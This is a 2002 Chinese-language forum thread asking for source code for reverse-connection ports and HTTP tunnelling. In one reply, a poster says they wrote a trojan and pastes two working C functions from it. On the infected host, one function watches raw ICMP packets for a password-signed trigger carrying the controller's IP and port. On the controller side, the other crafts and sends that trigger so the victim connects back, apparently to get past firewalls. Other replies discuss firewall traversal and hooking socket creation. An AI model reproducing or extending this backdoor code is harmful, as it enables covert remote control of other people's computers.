阅读:1643回复:13
有谁知道 反弹端口和HTTP隧道计术
谁有源程序呀!
|
|
|
沙发#
发布于:2002-06-01 17:52
控制端向服务端发一个 ICMP 包,这个 ICMP 包
里面包含了控制端的 IP 地址和 TCP 侦听端口。 服务端接收到这个 ICMP 包之后,就会去连接 控制端。 几个问题。 1。控制端仍然要知道服务端的 IP 地址。 2。服务端要能够截获所有的 ICMP 包。 3。控制端对服务端的控制仍然是要通过 TCP 或者 UDP 来完成的。 4。2000下可以用,XP 下不可用,因为 XP 把控制端 发出的 ICMP 包作为非法包过滤掉了,这个问题 我后来没时间去解决。 5。完全通过 ICMP 包来通讯而不使用 TCP/UDP, 似乎也可以实现,但是工作量很大,有兴趣去做:) 这个是服务端截获 ICMP 包获得控制端信息的函数 static EInfernoRetCode GetStartServerInfo (SClientInfo * pCi) { EInfernoRetCode eRet; SOCKET sIcmpSvr; Debug_Log ((LL_DETAIL, \"Enter GetStartServerInfo.\\n\")); // Initialize local variables. eRet = E_IRC_ERROR; sIcmpSvr = INVALID_SOCKET; // Shall we quit now? if (ShallInfernoStop ()) { return E_IRC_QUIT; } // Create raw socket to receive client start server request. sIcmpSvr = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP); if (INVALID_SOCKET == sIcmpSvr) { Debug_Log ((LL_ERROR, \"Create raw socket to receive client request failed. Error code: %u\\n\", WSAGetLastError ())); goto ON_ERROR; } // Set timeout values. int nTimeout; int nRet; nTimeout = E_TIME_TO_CHECK_QUIT_FLAG; nRet = setsockopt (sIcmpSvr, SOL_SOCKET, SO_RCVTIMEO, (const char *) &nTimeout, sizeof (nTimeout)); if (SOCKET_ERROR == nRet) { Debug_Log ((LL_ERROR, \"Set raw socket timeout value failed. Error code %u\\n\", WSAGetLastError ())); goto ON_ERROR; } // Bind to local interface. sockaddr_in siBindAddr; memset (&siBindAddr, 0, sizeof (siBindAddr)); siBindAddr.sin_family = AF_INET; siBindAddr.sin_addr.S_un.S_addr = INADDR_ANY; nRet = bind (sIcmpSvr, (sockaddr *) &siBindAddr, sizeof (siBindAddr)); if (SOCKET_ERROR == nRet) { Debug_Log ((LL_ERROR, \"Bind raw socket to local interface failed. Error code %u\\n\", WSAGetLastError ())); goto ON_ERROR; } // Receive client request. sockaddr_in siClientAddr; int nLen; int nLastError; static char s_szBuffer [E_RAW_RECEIVE_BUFFER_SIZE]; Debug_Log ((LL_DETAIL, \"Wait client raw request...\\n\")); while (true) { // Prepare to receive data. nLen = sizeof (siClientAddr); memset (s_szBuffer, 0, E_RAW_RECEIVE_BUFFER_SIZE); memset (&siClientAddr, 0, sizeof (siClientAddr)); // Receive and detect exit request and error. nRet = recvfrom (sIcmpSvr, s_szBuffer, E_RAW_RECEIVE_BUFFER_SIZE, 0, (sockaddr *) &siClientAddr, &nLen); if (ShallInfernoStop ()) { // We shall quit. eRet = E_IRC_QUIT; break; } if (SOCKET_ERROR == nRet) { nLastError = WSAGetLastError (); if (WSAETIMEDOUT == nLastError) { // Continue to wait client raw request. // Debug_Log ((LL_DETAIL, \"No quit request detected, continue wait client raw request.\\n\")); continue; } Debug_Log ((LL_ERROR, \"Receive raw request from client failed. Error code: %u\\n\", nLastError)); goto ON_ERROR; } // Process received data. DWORD dwSignature; SClientRawReq * pCrr; SInfernoConfig * pIc; LPIpHeader lpIp; LPICMPHeader lpIcmp; pIc = GetInfernoConfig (); pCrr = (SClientRawReq *) (s_szBuffer + E_IP_HEADER_SIZE + E_ICMP_HEADER_SIZE); ///////////////// int nLenX = E_IP_HEADER_SIZE; nLenX += E_ICMP_HEADER_SIZE; nLenX += sizeof (SClientRawReq); lpIp = (LPIpHeader) s_szBuffer; lpIcmp = (LPICMPHeader) (s_szBuffer + E_IP_HEADER_SIZE); ///////////////// dwSignature = * (DWORD *) &pIc->m_byPasswordHash [E_SIGNATURE_START_POS]; if (dwSignature == pCrr->m_dwSignature) { // Inferno energy signature detected:) if (E_CRR_START_SERVER == pCrr->m_byCmd) { pCi->m_uClientAddr = pCrr->m_dwClientAddr; pCi->m_usClientPort = pCrr->m_wClientPort; Debug_Log ((LL_DETAIL, \"Received a valid client request to connect to %s at port %u\\n\", inet_ntoa (siClientAddr.sin_addr), pCrr->m_wClientPort)); eRet = E_IRC_SUCCESS; break; } else { Debug_Log ((LL_DETAIL, \"Invalid client raw request from %s\\n\", inet_ntoa (siClientAddr.sin_addr))); } } else { Debug_Log ((LL_DETAIL, \"Receive non-inferno icmp packet from %s\\n\", inet_ntoa (siClientAddr.sin_addr))); } } // Wait client to start. Sleep (1000); // Success or user ask to quit. closesocket (sIcmpSvr); // Return. RET_PATH: Debug_Log ((LL_DETAIL, \"Leave GetStartServerInfo.\\n\")); return eRet; // Error handle. ON_ERROR: if (INVALID_SOCKET != sIcmpSvr) closesocket (sIcmpSvr); goto RET_PATH; } 这个是控制端发送 ICMP 命令包的函数 static bool StartInfernoServer (u_long uServerAddr, u_short usClientPort, char * pszPassword) { static BYTE s_bySendBuffer [E_SEND_BUFFER_SIZE]; SOCKET sIcmpCli; bool bRet; // Initialize local variables. sIcmpCli = INVALID_SOCKET; bRet = false; // Create raw socket. sIcmpCli = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP); if (INVALID_SOCKET == sIcmpCli) { printf (\"创建原始套接字失败. 错误代码: %u\\n\", WSAGetLastError ()); goto ON_ERROR; } // Prepare command sent to server. LPICMPHeader pIcmpHdr; SClientRawReq * pCrq; BYTE byPasswordHash [E_PASSWORD_HASH_SIZE]; MD5GenerateHash (byPasswordHash, pszPassword); memset (s_bySendBuffer, 0, E_SEND_BUFFER_SIZE); pIcmpHdr = (LPICMPHeader) s_bySendBuffer; pCrq = (SClientRawReq *) (s_bySendBuffer + E_ICMP_HEADER_SIZE); pIcmpHdr->ICMPType = ICMP_Echo_Reply; pIcmpHdr->ICMPCode = 0; pIcmpHdr->sICMP.sUS.us1 = htons (3); pIcmpHdr->sICMP.sUS.us2 = 0; pIcmpHdr->ICMP_Originate_Timestamp = GetTickCount (); pIcmpHdr->ICMP_Receive_Timestamp = pIcmpHdr->ICMP_Originate_Timestamp + 100; pIcmpHdr->ICMP_Transmit_Timestamp = pIcmpHdr->ICMP_Receive_Timestamp + 100; pCrq->m_dwSignature = * (DWORD *) &byPasswordHash [E_SIGNATURE_START_POS]; pCrq->m_byCmd = E_CRR_START_SERVER; pCrq->m_dwClientAddr = GetHostIpAddr (); pCrq->m_wClientPort = usClientPort; pIcmpHdr->ICMPChecksum = CalculateChecksum ((WORD *) s_bySendBuffer, E_ICMP_PACKET_SIZE); // Set this packet to server E_NUM_ICMP_PACKET_TO_SEND times. sockaddr_in siServer; int nRet; nRet = sizeof (ICMPHeader) + sizeof (SClientRawReq); memset (&siServer, 0, sizeof (siServer)); siServer.sin_family = AF_INET; siServer.sin_addr.S_un.S_addr = uServerAddr; for (int i = 0; i < E_NUM_ICMP_PACKET_TO_SEND; i ++) { nRet = sendto (sIcmpCli, (char *) s_bySendBuffer, E_ICMP_PACKET_SIZE, 0, (sockaddr *) &siServer, sizeof (siServer)); if (SOCKET_ERROR == nRet) { printf (\"第 %u 个启动 Inferno 服务器数据包发送失败. 错误代码: %u\\n\", i, WSAGetLastError ()); } } // Success. bRet = true; closesocket (sIcmpCli); // Return. RET_PATH: return bRet; // Error handle. ON_ERROR: if (INVALID_SOCKET != INVALID_SOCKET) closesocket (sIcmpCli); goto RET_PATH; } |
|
板凳#
发布于:2002-06-01 16:08
ICMP是个好办法!你的数据是通过ICMP夹带的吗!!!可否看看源程序!!非常感谢你的回复!!
|
|
|
地板#
发布于:2002-05-31 23:02
我写过一个木马,控制端发一个
ICMP包命令服务端来连接它。 连接的地址和端口包含在这个 ICMP包里面。在2000下面测试通过, 但是XP下面不行。 |
|
地下室#
发布于:2002-04-21 16:21
http://www.greenstuffsoft.com
这个网站有程序但不公报源码! |
|
|
5楼#
发布于:2002-04-21 16:19
!!!
|
|
|
6楼#
发布于:2002-04-21 16:18
|
|
|
7楼#
发布于:2002-04-21 16:14
自己去天网去看吧!
就是C主动向S方连接,可以穿过放火墙呀! |
|
|
8楼#
发布于:2002-04-20 10:34
要技术我还用的着在这发贴天网上都有完整的流程图! 把流程图贴出来看看。 |
|
|
9楼#
发布于:2002-04-19 21:36
不知道!偶只知道你的分!什么时候开始搞起这个啦?
|
|
10楼#
发布于:2002-04-19 19:40
有人知道第二个问题吗?
|
|
|
11楼#
发布于:2002-04-18 18:07
要技术我还用的着在这发贴天网上都有完整的流程图!
偶想看看源程序呀!关键的代码也可! 有人知道不???????????????????? :D :D |
|
|
12楼#
发布于:2002-04-18 16:50
对了,要看你处理哪层了,TCP,UDP要错不同的处理,呵呵,方法还是有些差别的。不过现在印象中,当时最头疼的还是同步问题,呵呵有irp的同步,驱动和应用层的同步,可是要费好大的劲哟。
|
|
13楼#
发布于:2002-04-18 16:47
太狠了吧,想要源程序:),不过的确没了,只是对技术还有点印象。可以考虑截获socket的create,然后再做相应的处理,呵呵。
|
|